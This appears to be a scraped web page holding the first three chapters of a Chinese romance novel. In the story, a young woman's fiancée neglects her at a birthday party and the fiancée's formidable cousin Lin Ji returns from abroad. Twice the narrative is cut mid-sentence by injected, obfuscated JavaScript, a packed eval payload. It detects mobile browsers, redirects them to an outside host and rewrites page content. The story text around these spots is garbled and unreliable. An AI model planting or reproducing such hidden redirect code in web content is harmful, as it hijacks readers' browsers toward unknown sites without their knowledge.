《越界》 1. 第 1 章 为了延长鲜花的保鲜期,这间花店一贯维持着二十度以下的温度,暖气不太足。 加上天本就冷,姜司意亲自选好今晚想送给宋缇的花时,指尖已经冻红了。 一枝鲜艳欲滴的朱砂碗捻在指尖,手机震动着。 单手拿出来看,是宋缇的微信。 今夜雪大,许是担心她路上不好走。 【今晚我表姐也会来,上回那件裙子不行,换一声体面些的。】 微信内容大概是由语音转成文字,有个错字。 姜司意捏着手机,往自己身上看。 她穿的的确是宋缇所说的“上回那件裙子”。 店员小姑娘接过她选的朱砂碗,和其他三十八枝拢在一起用粉色的纸胶带捆好,笑容明媚道: “小姐姐,来选一下包装纸吧。” 姜司意选了白色的雪梨纸,又挑了张麦田油画图案的卡片,坐到店内的小圆桌边,仔仔细细地写生日贺词。 店员熟练地包完花,送到姜司意面前。 每天店里数十单生意,都是由她直接套模版机打,好久没看到亲手写卡片的人了。 偷偷看一眼姜司意。 第一感觉就是素净,和她的字一样清秀。 或许是话少,太过安静,给人一种清冷的疏远感。 执笔的手背肌肤牛奶般白亮嫩滑,手指细细长长,指骨很小,没有任何装饰。 姜司意写一写,顿一顿,似在酝酿思绪,把握准确的笔画,尽力写出最悦目的字体。 卡片是速干材质,写完后她还是等了一会儿,确定不会晕字后才周到地装入配套的信封里。 姜司意看向漂亮的朱砂碗,抬头对店员淡笑道: “你包的真好看。” 侧颜静美,一抬眸,那双眼落了顶灯的光,宝石般粲然。 被这么漂亮的小姐姐夸赞,店员累了一整日的身心轻松不少。 她看到姜司意正在用手机叫网约车,便主动提醒她附近是步行街,不好叫车,传授独家秘法,从小巷到后面的商场,从商场西门出去,那里叫车都不用排队。 姜司意抱起花,道谢,离开。 她原本也打算去后面的商场一趟。 半小时后。 新买的裙子穿上身,清新的小苍兰变成了艳丽的玫瑰。 姜司意不太适应这显而易见卖弄风情的装扮。 不过,此刻的自己显然和宋缇想要的未婚妻更加贴近。 抱着扎眼的朱砂碗,快步来到商场西门。 出租车靠在路边,姜司意逆着大雪穿过商场前庭布置的巨型白色圣诞树,往车的方向去。 新裙子是好看,可惜它只适合在晚宴中优雅闲叙,对风雪中行走的人而言是种折磨。 为了优雅的体态,裙摆窄到紧紧锢着步伐,她还穿着高跟鞋。 风夹着雪打着旋地往她身上扑,怀里的花被风吹得直往一个方向倒,她只能转身,用后背承受风雪,护下了脆弱的朱砂碗。 在自己和花都要散架前,总算坐入了车内。 车门闭合,姜司意将凌乱的发丝从冻红的脸庞上勾去。 先看夹在花中的卡片。 幸好只落了一星点雪,没有沾湿。 姜司意松了口气。 大雪迷城,落雪纷纷扬扬,像旧年的碎片,沉甸甸地压在姜司意眼底。 今晚是姜司意联姻对象宋缇26岁的生日宴。 生日宴在宋家郊外的别墅举行,往那儿去需要穿过城中最拥挤的道路。 岔路口多就算了,偏偏每个路口都刚好卡红灯。 司机抱怨不止,姜司意全程低头刷手机,隐约焦躁的气氛在车厢里蔓延。 随意打开某个社交平台APP刷着,分散注意力。 那些明星绯闻、国内外的动荡从眼前掠过,没有一个字能真正被她读到心里。 直到姐姐姜司聆的语音通话拉回她涣散的思绪。 【喂,宝宝。】 姜司聆的声音有些沙哑,听上去刚醒。 【你在Stella生日宴吗?】 Stella就是宋缇。 姜司意戴上耳机,【快到了。你起这么早?】 姜司聆正在国外办个人作品展,和国内有十三个小时的时差。 【根本睡不着,我现在整个人还处于亢奋状态。昨天的画展非常成功,当地关注现代艺术的媒体都来了,超出我的预料。最重要的是……宝宝,你知不知道我见到了谁?】 姜司意说:【你见到格伦达了吧。】 【嗯?你怎么知道……哦对,我发朋友圈了。哎,我真的喝太多了。】 在太平洋那一头的姜司聆揉着发痛的脑袋,一边喝着水一边说: 【我从小临摹格伦达的画,没想到这辈子居然能见到她本人。还以为她性子高傲很难相处,没想到居然那么亲切,还在我衣服上签名了。哈哈哈哈,这几天发生的事太多,感觉做过的梦手拉着手一起实现了,大脑太兴奋,昨晚就勉强睡了3个小时。】 姜司聆声音里的笑意渐浓。 【对了,替我跟Stella道谢。要不是她姑姑,我不可能办成巡展,更不可能拥有现在的一切。】 姜司意抱着花的手指紧了紧。 【嗯,我会转达的。】 【你们什么时候结婚?我一定抽出时间回国吃你们的喜酒。】 姜司意被姐姐这冷不丁一问,略顿了顿,借口道:【我就要到了,回头再说。】 姜司聆也的确忙,今天还有一场沙龙得出席,没再多问。 【好,那回头再聊。我看J城最近降温,你记得多穿点,别感冒。】 【嗯,放心吧。】 挂了语音,姜司意发现姐姐万年不变的微信头像换了,换成了与格伦达的合影。 合影里的姐姐握着酒杯,花团锦簇间的笑容是她没见过的灿烂。 姜司意嘴角被带着上扬。 可以想象姐姐现在有多幸福。 就要到别墅山脚,宋缇打电话过来。 【司意,你到哪儿了?】 【到山下了。】 【我来接你,你在那等我一会儿。】 姜司意下了车,在路边等着宋缇。 郊外的温度比城里还低了两度,风刮出了哨音,冷意早就将裙子吹透,披在肩头的外套提供不了多少庇护,脚已经冻麻。 可惜她怀里抱的不是暖炉,而是比她还冷还脆弱的花。 在雪地里低头踱了十多分钟,终于有车灯破开了雪幕,从盘山道上缓慢、优雅地行驶下来。 车停到姜司意身边,车窗不紧不慢地降下。 车里的宋缇看到她怀里那捧沾着雪珠更显美艳夺目的朱砂碗,惊喜地笑。 姜司意绕到副驾,打开车门。 宋缇接过花,“很漂亮。” 姜司意:“生日快乐。” “谢谢。”宋缇把花递回去,“拿到后座吧,不然你不好坐。” 姜司意接回了花,动作稍微滞了滞,也只能把花放到后座,再坐回副驾。 整理额前头发的时候,发现宋缇正在安静地打量她。 宋缇很少这样直白地凝视,弄得姜司意面上有些热。 “嗯?” “很好看,这一身。”宋缇满意地笑,“身材比我想象得还好。” 姜司意一米六五,平时喜欢穿长裙或裤子,都是内敛文静且不怎么显身段的打扮,工作之外连高跟鞋都不常穿,胜在舒服。 感受到宋缇毫不掩饰的目光,她手不自在地拉住裙边,不知如何回答,只嘴角提些笑意上来抵挡一二。 三分钟后,车开到了别墅前,宋缇把车钥匙递给管家,让管家泊车去。 姜司意看了眼后座的花,已经走了两步的宋缇又退回来,主动去拿花,抱在怀里,牵起姜司意一同进去。 这是姜司意作为她的未婚妻,跟她过的第三个生日。 或许是因为今晚宋缇的表姐林棘要出席,相比于去年,这次参加生日宴的人多了一倍不止。 围在沙发、酒桌或者恒温泳池边的人口中,时不时能听到林棘的名字。 都在猜测林棘这次回国,会不会真的留在国内。 “难怪,我就说你们这几个不是在瑞士滑雪么,怎么都跑回来了,原来是想在林棘面前露个脸。” “你不也巴巴地回来了?” 一阵彼此心知肚明的低笑。 J城的二代圈子彼此都熟。 不是一起长大的发小,就是见面分外眼红的宿敌,任何时候聚在一起话都不少。 宋缇的表姐林棘,从小就是二代圈子里的传奇人物。 是“别人家的孩子”,学习拔尖,样样第一。 J城二代们有一个算一个,都是用林大小姐的优秀事迹拌饭,在她的阴影下长大的。 本以为长大之后能喘口气,没想到年龄大了,这片阴影也更大了。 林棘大学时期就创立了自己的公司,三年前在海外上市,通过IPO募资逾10亿美元,被资本市场热捧,薅了一大把海外的羊毛。二世祖们还在熟悉组织框架时,林棘已经在资本市场崭露头角,越来越有所向披靡的趋势。 这群大小姐、小少爷在优渥的环境中被养废了,能勉强维持住家里的生意都算翘楚,大部分一出手就能让公司倒退十年,打各大股东一个措手不及。 前些年生意好做的时候,家长们还没那么容易着急上火,随他们败家。 这几年经济下行,生意越来越难做,家长们成日愁眉苦脸,脾气暴躁,看这些不成器的孩子更是恼火,弄得二世祖们的日子也不好过。 为了能活得松快些,不会落得被家族信托除名的下场,都在想出路。 听说林棘好不容易回国了,但凡不想当坨人厌狗烦烂泥的,都削尖了脑袋赶来出席宋缇的生日宴,就等着和林棘攀亲托熟。 一群人燥候之时,看到宋缇拉着姜司意进来了。 “司意,好久不见。” “今晚这么美啊。” 零零星星的问候平淡地飘来,姜司意礼貌地一一回应。 的确是好久不见,确切来说,是很久没有宋缇以外的人主动邀请姜司意参加圈子里的聚会了。 自从她母亲过世父亲再娶,她就跌出了圈层。 姜家的生意一落千丈后,她就彻底被豪门圈除名了。 无论是“发小局”,还是“给宿敌挖坑局”,都没人想要邀请她。 昔日旧友见到她还是客客气气,保持着涵养,可拜高踩低全都写在眼睛里和行动上。 宋家家底厚,在所有人看来,姜司意能和宋缇订婚,是她妈妈还在世时做过最正确的选择。 众人的目光不咸不淡地落在姜司意身上。 这身打扮艳丽,妆都比平时浓了几分,有种成熟的风情,是宋缇会喜欢的风格。 更别说手里的那捧丰姿冶丽的朱砂碗,一看就是精挑细选。 真是从上打下都在费尽心思讨未婚妻欢心。 在旁人看来,姜司意后半辈子想要过上体面的日子,的确要好好想想,怎么牢牢抓紧宋缇这根救命稻草。 有人对宋缇打趣道:“这么疼未婚妻,大下雪天的还亲自去接人。羡慕死我了,要是我家那位有你一半体贴就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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据说表姐林棘有意回国发展,宋缇心里有些计较。 别说能攀上,就是从表姐指缝里漏下来一星半点的资源,也够她在宋家扬眉吐气了。 宋缇迫切想和林棘见上一面。 宋缇一心在翻身上,而她妈则时不时点她,让她快点和姜司意商量,把婚礼的具体时间定下来。 “订婚都三年了还没点动静,不像话。司意性格稳重,工作生活上多少能帮些忙。” 宋缇好脾气地对她妈说:“一切以司意的意愿为主。她说什么时候结就什么时候结。” 且不说姜家仰仗着宋家勉强经营,就是她姐姐的事业也都在宋缇姑姑的掌握之中,以姜司意的处境,怎么好来决定? 连现下冷到后背僵硬面色苍白,都没有立场说出离开的话。 姜司意知道宋缇今晚生日宴办得这么热闹,都是为了给她表姐接风洗尘。 极少出现在社交场合的林棘,难得同意赴约。 宋缇准备得很用心,姜司意都看到眼里,现在更不可能为了陪她去楼上休息,错过率先和林棘说话的机会。 姜司意深呼吸,冻得后背有点痛。 她正想说“你告诉我哪间房间可以休息,我自己上去”的时候,门口传来一阵骚动。 林棘终于来了。 姜司意刚说了一个“你”字,宋缇的目光已经眺向门口,“唰”的起身,把朱砂碗刮到地上。 姜司意本能地去护,没护住。 朱砂碗掉在布满脚印的雪地里,一地残花猩红。 那张始终没有被打开的卡片也跌了出来,不偏不倚落在一滩半化的雪水中。 瞬间被沾湿,无法挽救。 姜司意怔怔地看着花和卡片,看着自己精心准备的礼物,眼眸中一片死寂。 看来它们注定不属于宋缇的怀抱。 烂雪地,才是与它们匹配的归宿。 …… 宋缇切开人群,赶在所有人之前帮林棘打开车门,堆起笑容甜甜地唤了声: “表姐,你终于回来了。知道我有多想你吗?” 车内的女人半垂着眸,耳朵里戴着耳机,正在用英语打电话。 身后的人闹哄哄地围上来,宋缇转身向他们比了个“嘘”的手势。 林棘边打电话边下车,穿着完全不符合宴会气氛的黑色西服,下车的时候司机兼助理上前,为她在外面套了件同色的长款羊绒大衣。 是单调的低欲望,是不必讨好任何人的满不在乎。 连雪花都偏爱她般,纷纷往她的方向荡过来。 墨色的长卷发很快沾了些雪沫,显得她的那双冷眼更加清亮。 两步路的距离,宋缇要为她撑伞。 她则轻轻抬手,示意“不用”。 似乎这点风雪对她而言,还不到需要遮蔽的地步,不值一提。 对林棘翘首以盼多时,在其他场合里呼风唤雨作威作福的二代们,看到她在打电话,没人敢开口打扰,自觉地让开一条路,欲言又止且三三两两跟在她身后。 林棘没看任何人一眼,看似没有目的往里走。 走向姜司意所在的小花园。 此时,姜司意垂着眼睑,还坐在那儿。 其实还有另外一份真正的生日礼物。 是姜司意从她工作的拍卖行提前预定的,想给宋缇惊喜。 她运作了好久才勉强能赶在今夜十二点前送到国内,原本打算一会儿就去取。 可生日礼物是为了寿星开心才存在的。 现在看来,不被在意的礼物没有存在的必要。 就像这束花。 姜司意看着精心包装却散落一地的花,像看可笑的自己。 就要移开目光时,一只漂亮的女人手拾起了那束花。 姜司意诧异地抬头。 在冥茫狰狞的夜里,透过不息的风雪,和林棘那双明亮无尘的双眸对视了。 2. 第 2 章 林棘很高,浓黑的发丝和瞳孔一起被垂挂的氛围灯染成了浅金色。 浓墨重彩的黑影直白地覆盖在姜司意的身形上。 这个女人在姜司意记忆中何等冰冷高傲。 为谁弯腰拾花这个动作,很难和她联系在一起。 林棘本想直接把花放回去,目光在姜司意发红的眼眶上停留片刻,拿出口袋里的纸,拭去花上的雪水和脏污,再放回。卡片也一起擦干净。 纤长的指尖拈着薄薄的卡片,夹回花中。 “谢谢……” 姜司意没想到她会这么做,有点受宠若惊。 林棘目光下移,落于姜司意的右手,片刻后说出两个字,声音缓慢而泠然。 “稍等。” 姜司意看到了耳机,不确定林棘是在跟自己说话还是在打电话。 心里正有犹豫时,林棘把耳机摘下,凝视着她补充道: “大概十分钟。” 这下确定了,是在和她说话。 姜司意:“……好的。” 说完,林棘再次戴上耳机,转身,切换了语种,这会儿才是在打电话。 姜司意不知道林棘要自己等什么,是不是有事要交代。 虽说她俩生活基本没有交集,但宋家和姜家有生意上的往来,林棘又是宋缇的表姐,要吩咐她一些事也不是不可能。 宋缇和其他人慢慢走近,无数双好奇的眼睛都往小花园的方向张望。 周家大儿子“嘶”了一声,悄声问道: “林棘姐和姜司意很熟?” 谢家二女儿暗笑着:“怎么可能,姐姐人美心善罢了。而且小花园清静,方便打电话吧。” 说完,给宋缇使了个眼色。 宋缇立刻会意,上前拉姜司意的胳膊,把她带起身。 “表姐要打电话,咱们到外面说话,别吵着她。” 这么多双眼睛盯着看,姜司意自然不好留下,心里想着十分钟之后再回来找林棘好了。 宋缇看到花脏了。 即便被擦拭过,依旧无法改变残败的事实。 也不知道是不是因为花刚才被林棘捧过,在宋缇眼中有了切实的份量,她终于提到了卡片。 “可惜了,我本想带回去慢慢看的。” 卡片被雪水浸湿有点污迹,而不是被撕了被烧了,面目全非,现在也不是不能看。 花和卡片被人好心地拾起,善待,可它终究是为宋缇准备的礼物。 宋缇今晚收到了很多贺礼,价值不菲,堆成了小山,姜司意刚才都看到了。 不被在意的累赘没必要存在。 姜司意把花连带着卡片一起丢到垃圾桶里。 “没写什么重要的东西,不用看。” …… 小花园之外很冷,风已经停了,雪从静谧的深空中洋洋洒洒地荡下。 姜司意环抱着自己慢慢走到人少的角落。 宋缇发微信给她,问她在哪儿。 此时此刻她不想见到宋缇,只想自己待会儿。 姜司意找借口:【和我姐视频。】 宋缇就没再回。 对宋缇而言,是松了口气的妥帖回应。 姜司意双眸发滞,手指缓缓滑动手机屏幕。 忽然发现屏幕上多了一道血迹。 手指不知何时被割出一道血口,她对着光瞧,伤口还挺深。 是花被宋缇刮落,自己想去接时划伤了吧,刚才都没注意到。 伤口火辣辣,一跳一跳的。 痛楚在视觉的加持下越来越清晰,绞着她的心,似要兴风作浪。 姜司意深深呼吸,努力把酸涩的心情呼出心肺。 在随身的包里翻了一阵,没找到创可贴,才想起先前最后一枚给同事用了。 只好用纸巾裹住手指,打算回家再处理。 纸巾覆盖伤口,鲜红的血一丝丝往外渗透。 红得扎眼。 手机屏幕还停留在和宋缇对话页面。 宋缇的头像是她自己的照片。 酒红色长发盖住了半张脸,隐约能看见她闭着眼在笑,红唇醒目,笑容从容迷人。 这张照片是姜司意为她拍的,随手一拍却很有质感。 宋缇说好看,让她发给她。 当场设置成微信头像。 所有人都能看到的微信头像。 姜司意也很喜欢这张照片,一开始是想私藏的。 可惜,宋缇并没有给她独家珍藏的机会。 …… 人语声在远处,周围极静,只有雪花大朵大朵描绘姜司意清秀的眉眼和寥寂的轮廓。 她有未婚妻,应当可以相依相伴,相互扶持终老,可此刻她宁愿独处。 寒意让她瑟缩着,小巧的鼻尖和耳朵冻得通红。 宋缇的别墅和她这个人一样,八面透风,让人躲无可躲。 小花园倒是暖和一些,可宋缇不让她去打扰林棘打电话。 林棘应该在谈生意,她的确不好现在过去。 更何况,她从小就怕林棘。 她和林棘在同一个圈子里长大,差三岁,从小学到高中都念同一间学校,又因家里和朋友圈子的关系,逢年过节各种私人或商业性质的聚会上,姜司意时常会和林棘碰上面。只是说话的次数屈指可数。 林棘给姜司意的印象就是“厉害”。 全方位的无与伦比。 是圈子里同辈中早成熟的,无论是身高、样貌、成绩还是追求者的数量,林棘永远遥遥领先其他人。 姜司意上高一时,林棘已经高三。 她永远记得开学第一天,无意间撞见校草给林棘递情书的画面。 校草用小指抹过早上刚刚修过的浓眉,对林棘说: “我喜欢你很久了,希望你能给彼此一个机会,绝对超出你的想象。” 那是在学校大门口,人来人往,很快吸引一大波人兴奋围观。 校草向校花表白,正是大家最喜闻乐见的情节。 可惜林棘完全没有成人之美的良好品德,说话也从不考虑谁会下不来台。 “我没有可以浪费在你身上的时间。” 众目睽睽之下,林棘双手交错,将情书撕了个粉碎,顺手丢到垃圾桶里。 校草和起哄的围观众人都怔住了。 校草就要挂不住脸,可这么多人看着,要是就这样被林棘拒绝,一直到毕业,他都会是全校最大的笑话。 他觍着脸继续说:“害羞了么?好啦,是我的错,考虑不周,下次我会低调一点……” 还未说完,林棘从他身边走过,临走之时乜那稀碎的情书,丢下一句话: “垃圾就该待在垃圾桶里。” 校草:…… 又过了几年,姜司意上了大学,和林棘不在一所学校。 当时林棘创建了自己第一家公司,两人生活的交集进一步拉远。 偏偏还有些说不清的缘分,总能在人海中撞见。 那天宿舍太吵,图书馆又有人吃韭菜盒子还吧唧嘴,姜司意要赶作业,便抱着笔记本电脑到校外的咖啡厅赶工。 坐在最喜欢的僻静临窗位置,埋头查资料的时候,余光里发现对面街上有些异样。 一个穿着西装胡子拉碴的男人站在车道上,张开双臂一副英勇就义的模样,用身子拦着一辆保时捷。 路人们驻足围观,指指点点。 男人对着保时捷撕心裂肺地喊道: “有本事你今天就撞过来!正好一起上头条!让大家看看你这女人到底是什么样的蛇蝎心肠!” 用性命威慑,一般情况下也仅仅是威胁。 没人想到,保时捷车主还真加足马力,直直向那男人撞过去。 方才还在叫骂的男人脸色惊变,立刻转身就躲,狼狈地像□□一样擦着保时捷的车身跳出去,差一点点就真撞上了。 众人皆惊,姜司意也是震惊地捂着嘴。 保时捷车主真够强势的,光天化日之下还真的就这样撞过去。 万一没控制好,真撞死人了怎么办? 就在她心脏不受控制地加速时,看到了敞开一丝缝隙的车窗里,露出一双女人冰冷且带着戏谑意味的眼睛。 像看垃圾,淡淡地看了眼闪了腰坐在地上满口脏话的男人。 随后敛回目光,关上车窗,扬长而去。 是林棘。 姜司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563389|171422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意想起来了。 这男人她也认得,之前朋友在群聊里发过他和林棘的新闻。 此人是行业前辈,想要排挤林棘,主动发起价格战。 就在这个月初,他申请了破产保护。 被后辈无情地拍散架在沙滩上,他自诩业界大拿,咽不下这口气,大庭广众之下想寻林棘的晦气,没想到差点把命都交代进去。 “真丢脸啊。” “那开车的也是个疯女人。” 周围细细碎碎的声音流入姜司意的耳朵里。 那一刻,撕掉情书的高中生林棘,和现下成熟明艳又充满危险性的成年林棘,在姜司意微颤的眸底重合。 那件事之后,林棘又上了新闻,姜司意在朋友群里刷到关于她的热搜。 热搜中林棘满不在乎但冷厉的双眸,进一步加深了姜司意对她的刻板印象。 即便初中的时候,和林棘有过一次较深的交集,可也仅有那一次。 后来有几次圈子里聚会,姜司意看见她,不也敢上前说话,本能地在最远的角落里待着。 她俩原本半生不熟的,没有太多说话的理由。 即便同框,总是一前一后,一左一右,隔着最远的距离。 再之后,就是林棘去开拓海外市场,整整三年没有回国。 她们的生活重合度本就低,姜司意的人生失控般一路向下,而林棘往更高处飞。 身处不同的世界里,断了联系也理所当然。 今夜再见,姜司意还是不知道该怎么和她相处。 三年未见,这圈子里的风云人物变得更加陌生。 让人畏惧的气场有增无减。 怕归怕,刚才林棘帮忙把花拾起来,是她今夜遇到的唯一熨帖。 该去道声谢。 十分钟到了,姜司意往小花园的方向走。 此时此刻,小花园中的林棘还在打电话。 电话那头的人依旧孜孜不倦地向林棘形容自己的初创公司如何与众不同,未来绝对是独角兽企业,会给她带来如何丰厚的回报…… 说得天花乱坠,归根结底就是想让林棘多给他投一千万。 林棘失去了耐心,不耐地蹙眉。 她面无表情的时候已经很凶了,更何况皱眉。 阴云密布,似藏着雷霆万钧。 不远处,折返回来的姜司意看到了她藏着火的侧脸,和记忆中开车差点撞死商业对手的那个林棘重合。 姜司意顿住脚步,心中一激灵。 本想唤她的声音卡在喉咙里,没敢吭声。 要不然……回头找机会再向她道谢吧。 别现在去打扰人家了。 姜司意正想着,后背被人拍了一下。 是宋缇。 …… 挂了电话,林棘看了眼时间,比预计多了一分钟。 回头,不见姜司意的身影,唯有夜色。 别墅中有人弹奏着《雪之梦》,伴随着柔和的乐曲声,林棘的助理来了,把她微信里交代的碘伏棒和创可贴一起送来。 可是需要创可贴的人还不见踪影。 林棘往别墅的方向走了两步,看到站在别墅门口的姜司意,她的手正被宋缇牵着。 两人面对面站着,距离很近,相视淡笑。 宋缇:“生气了?” 宋缇看到爸妈来了。作为晚辈,林棘肯定要去跟宋家长辈打声招呼,不会这么快走,那就不着急了,先来找姜司意。 姜司意:“没有,可能午饭没吃好,有点胃疼。” 宋缇:“那我送你回去。” 姜司意:“还没跟表姐打招呼……” 宋缇温柔笑道:“你身体最重要。” 看得出宋缇的坚持,姜司意道:“我自己打车回去就好。” 宋缇身边的谢家二小姐谢舒旖怂恿道:“Stella这么宝贝你,特意没喝酒就是想送你回家。你得给她表现的机会。” 姜司意没好再拒绝。 细碎的对话声断断续续落入远处林棘的耳朵里。 看着姜司意坐上宋缇的车,林棘把碘伏棒和创可贴放回口袋。 一片雪花压在眉心,她缓缓收回目光。 3. 第 3 章 换了个场合,像换了个世界。 单独相处的这一路,宋缇的耐性突然告罄。 姜司意起了好几个话题,都被对方三两句终结。 她们之间立起了一道看不见的墙。 姜司意知道,宋缇人缘一向很好。 如她这般娇美的千金小姐难得脾气温吞,从未见过她和谁急眼,慷慨大方,朋友的事儿能帮就帮。 宋大小姐像阳光下盛放的玫瑰,永远温柔风光,从小到大喜欢她的人数不胜数。 眼下的宋缇依旧温和,可话里的兴致却不高。 姜司意不是品不出气氛的人。 疼爱她的母亲过世之后,她慢慢学会了察言观色,读懂了言下之意,明白了成人世界那些从没人提及,却永远不会改变的残酷潜规则。 眼下这什么都还未开始的夜晚,该结束了。 姜司意:“停在前面的地铁口就好了,谢谢你送我。” “你坐地铁回去?” 这趟归途,宋缇终于说了一句有延展可能的反问句。 还未得到确切回答的时候,车速已经明显减缓,且慢慢向地铁口的方向并线。 “坐地铁会不会不方便?” 姜司意凝视着眼前的车载香氛,不是她圣诞送的那款。 “今晚不是对你很重要吗?快回去吧。” 宋缇将车停到地铁入口边,摸了摸她的脑袋,像是在奖励她的懂事。 “花真的可惜了。晚安,司意。” 姜司意回了“晚安”,下车步入地铁站。 乘扶梯下行,她的目光透过车站的玻璃往外望,试图在灯火交织的夜色中捕捉宋缇的车。 车影交错,每一辆都行色匆匆。 直到视野彻底下沉,也没能分辨出她的未婚妻坐在哪辆车中。 夜里十点多,已经接近这条地铁线末班车时间,站台和车厢里依旧挤着不少刚刚加完班的年轻人。 姜司意找个角落站着,车厢内温暖但浑浊的空气和地铁运行时轻微摇晃的节奏,推着浑身的累意往上翻涌,眼皮不断打着架。 再次打开姐姐的朋友圈,翻看画展的照片,看看姐姐的笑容,好让紧绷一夜的神经稍微得到一些回馈和安稳。 划到第六张照片时,手机震了几下。 宋缇微信? 心中刚刚掠过这个想法,很快又自我否定了。 抬眸看,果然不是宋缇。 而是同事段凝。 【礼物到咯!】 【把你家宋小姐别墅地址发给我!】 【我现在火速让人送过去,保证能在十二点前送到!】 段凝有亲戚是做国际物流的,姜司意就是拜托她,紧赶慢赶希望能让宋缇的礼物在她生日这一天顺利入境,及时送到寿星手里。 谁能想到她心心念念的礼物真的按时抵达了,却失去了意义。 姜司意自己心里不舒服归不舒服,段凝这么用心帮她,她不能让人家一番好意落在地上。 姜司意:【我没在别墅了。你在哪儿,我去找你拿。】 过了会儿,段凝发语音过来。 明显找了个人少的地方,很安静,说话都带着回音。 【不是说今晚生日宴特别隆重么,这就结束了?】 【我还在公司赶春拍的图录呢。】 她俩大学时就是室友,后来一同入职嘉仕比拍卖行,关系越来越近。 段凝说的“图录”,是每次拍卖会之前,拍卖行会把当期拍品的介绍印刷成的图册。 图录除了有拍卖的具体时间和地点外,还有拍品的高清图片,作者、尺寸、参考价、来源和拍品状态的全方位说明。 预展前就要送到各大收藏家手里,好让潜在客户们提前确定心仪的目标。 拍卖行每年最重要的两场拍卖是春拍和秋拍。 大型春季拍卖会就在眼前,这段时间嘉仕比各部门都处于脚跟踢破后脑勺的状态,一个人得掰成三瓣用。 段凝被抓壮丁,给临时入库的拍品拍照。 姜司意回复段凝:【你在公司等我,我过去拿,顺便还能帮帮忙。】 听到姜司意要来,段凝欲言又止,最后也没多问,只说:【好咧,那我等着你了。】 …… 宋缇回到别墅时,一群人已经酒过三巡,满脸微醺,也不知道又在说谁家笑话,在泳池那头笑成一团。 她往前方看,客厅的灯亮了。 往客厅去的路上,泳池里的谢舒旖划拉着水,游到岸边对张家三小姐说: “为了接送宝贝未婚妻,把我们一屋子人都落下,Stella可真是个情种。” 宋缇暗暗给过来一个眼神。 谢舒旖收到赞许的目光,举起手里的泡泡机,对她的方向发射一串爱心泡泡。 到了客厅,林棘果然还在。 林棘坐在客厅沙发正中,被宋缇妈妈林云汀握着手,絮絮叨叨说小佑怎么瘦了这么多。 “小佑”是林棘的小名。 林棘小时候出过一场意外,险些让一家子骨肉离散。 能把林棘找回来是莫大的幸运,之后很长一段时间她爸妈还是心有余悸,带着她到古刹烧香礼佛,捐了七位数的香火钱,又给她起了这个小名。希望她往后的人生能承天之佑,逢凶化吉。 宋缇爸爸宋立名坐在另一侧野蕨绿的单人沙发上,手里捧着平板正在看财报。 余光里见宋缇回来了,斜斜分过来一眼,而后重新把目光沉回平板上,才低沉着嗓音开口说: “干嘛去了?” 宋缇先向林棘的方向唤了声“姐”,然后回她爸的话。 “送司意回家,这里不好打车。” 听到“打车”这两个字,宋立名自然想起姜家这几年的每况愈下。 更可笑的是上个月,他看到姜骆和某位翻了脸的股东,在峰会会场外的走廊里大打出手。那滑稽画面浮上心头,冷笑一声,胡子抖三抖。 宋立名:“你就是太惯着她了。” 林云汀不满地“啧”了一声。 “婚都订了,自己老婆不该惯着么?再说,司意多懂事,什么都听Stella的,这么乖顺的媳妇上哪儿找?” 林棘侧身拿起那杯林云汀亲自递给她,一直未被她宠幸的甜红。 浅抿一口,甜味四杀,糊嗓子。 宋缇无奈地笑着对林棘说:“她俩就这样吵了半辈子,也不嫌腻。姐,这次回来就不走了吧?” 林云汀也说:“是啊,就别走了吧。你是不知道,你在海外发展了这几年你妈妈有多想你。每次我去看她她都念叨,说你在海外太累,作息不健康,给她视频不积极,语音也回得慢。日日惦记你的事,比你都瘦。” 林棘对小姨说:“的确不准备走了。” 宋缇眼眸一亮,坐到林棘身侧的沙发扶手上。 “那太好了啊,在国内咱们一家人齐心协力,凡事有个照应,怎么都比外面的鬼佬强。” 宋立名今晚跟着老婆一起来,也是为了见林棘一面,听听她的打算。 听到她真决定回国发展,放下手里的平板,兴致勃勃地问她近五年的规划,想要投哪些领域。 谈话过程中,宋缇就坐在林棘身边,半步都没挪地方。 手机倒是震个不停,谢舒旖给她发了无数条微信她都没回,最后索性暂时调成静音。 林云汀见丈夫和女儿围着外甥女旁敲侧击半天,这场面只有一个词能形容——如狼似虎。 集团连续六个季度亏损,林云汀知道父女俩急了,可这也太急了。 林棘今晚刚回来,非常给面子出席Stella生日宴,结果一杯酒都没喝完就被拉着问长问短,还一个劲往她“钱包”里窥,实在难看。 她知道自己这位外甥女有礼归有礼,其实脾气差得很,没少在董事会上把董事们怼到当场吃降压药。 生怕场面会往不可控的方向恶化,林云汀在话与话的间隙里,巧妙地转移了话题,往林棘“人生大事”这个话题奔去。 林云汀和林棘母亲从小在一个屋檐下长大,姐俩关系算好,到这个年龄也有事没事聚一聚,她知道大姐在意什么。 林棘今年二十八岁,从小到大感情上半点动静都没有,也从来不跟家里人提这件事,林云汀趁机探探她的口风。 结果林棘就敷衍两个字:“不急。” 宋立名还在一旁打岔,“小佑能力强,必然眼光高,哪这么好找。” 林云汀暗暗给拍外甥女马屁还拍得不是时候的老宋一记白眼。 宋缇趁机半开玩笑半认真说:“表姐都不急,你们也别催我了。表姐不结我怎么好抢在前面。” 林云汀:“那还不是因为你小佑姐姐一直都在忙事业,要是跟你一样闲,看看你大姨急不急。现在你小佑姐姐准备回国发展了,哎呀,真好。” 林云汀轻轻拍了拍宋缇的手背,转眸对着宋缇说: “别说,你小佑姐姐可能真会结在你前面。” 宋缇抿着酒,随意说一句“那我一定送上大礼”。 不知道是不是错觉,先前一直都兴意阑珊的表姐,在她说这句话的时候,结结实实投过来一道意味不明的目光,让宋缇骨子里蹿出一丝寒意。 夜里十一点。 林棘留下生日礼物便离开了宋缇的别墅。 宋家一家齐齐整整送她上车,对着她的车尾挥手告别。 等林棘的车开远,林云汀把围巾裹紧,回头对宋缇道: 